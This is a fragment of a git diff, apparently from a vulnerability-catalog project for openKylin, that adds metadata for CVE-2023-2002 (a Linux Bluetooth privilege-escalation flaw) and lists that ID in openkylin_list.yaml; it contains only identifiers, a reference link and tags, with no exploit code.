Bluetooth特权管理不当导致的权限提升漏洞 + scope-of-influence: + Linux 5.15.0-23-generic + reference: + - https://ti.qianxin.com/vulnerability/detail/294582 + classification: + cve-id: CVE-2023-2002 + cnvd-id: None + kve-id: None + tags: RCE \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index c9b0a3753e5785c3012cf7c40ade571616d4c647..d6395b074e75e78a2fa81e8252165851b7873be8 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -76,6 +76,7 @@ cve: - CVE-2019-13272 - CVE-2020-12351 - CVE-2021-43267 + - CVE-2023-2002 sudo: - CVE-2019-18634 - CVE-2021-3156